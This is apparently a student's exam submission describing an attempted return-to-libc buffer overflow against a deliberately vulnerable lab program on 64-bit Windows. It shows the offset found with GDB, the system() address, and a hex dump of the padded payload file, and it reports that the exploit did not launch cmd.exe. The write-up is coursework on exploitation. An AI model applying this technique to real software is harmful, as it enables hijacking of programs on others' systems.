Furtuna Estifanos

Mid Exam Sumission

I worked on developing a **buffer overflow exploit** for a 64-bit Windows program, aiming to hijack execution and call system("cmd.exe"). I approached the challenge by analyzing the program's memory layout, crafting a malicious input (badfile), and carefully structuring my payload to overwrite the return address.

1. **Analyzing the Vulnerability**

- I disassembled the foo() function using **GDB** to determine how the buffer was allocated.
- Found that the return address was stored **216 bytes after the buffer**, meaning I had to overwrite it precisely.

2. **Finding system() Address**

- The program did not originally contain system(), so I forced it to be linked by modifying stack2.c:

```
void *ptr = (void *)system;
printf("System address: %p\n", ptr);
```

After recompiling, I found the system() address in GDB:

```
0x401650
```

3. Crafting the Exploit Payload

- I wrote a Python script (exploit_libc.py) to generate badfile with:
  - 216 bytes of padding ("A" * 216)
  - Overwritten return address (system() address)
  - A pointer to "cmd.exe" (stored inside the payload itself)

4. Debugging Execution

- I verified the exploit was overwriting the return address by running inside GDB:

```
(gdb) b *0x401650
(gdb) r
```

- The program **hit the breakpoint at system()**, meaning the exploit worked **up to this point**.

What Went Wrong?

Despite successfully redirecting execution to system(), "cmd.exe" did not launch.
Possible reasons:

1. **The argument to system() wasn't passed correctly** (might need pop rdi; ret gadget).

```
PS C:\Users\furti\Downloads> .\stack.exe
Starting program...
System address: 0000000000401650
```

2. **cmd.exe wasn't stored at the exact expected memory location**.

```
PS C:\Users\furti\Downloads> Get-Content badfile -Raw | Format-Hex


           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000010   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000020   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000030   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000040   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000050   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000060   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000070   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000080   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000090   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000A0   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000B0   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000C0   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000D0   41 41 41 41 41 41 41 41 50 16 40 00 00 00 00 00
```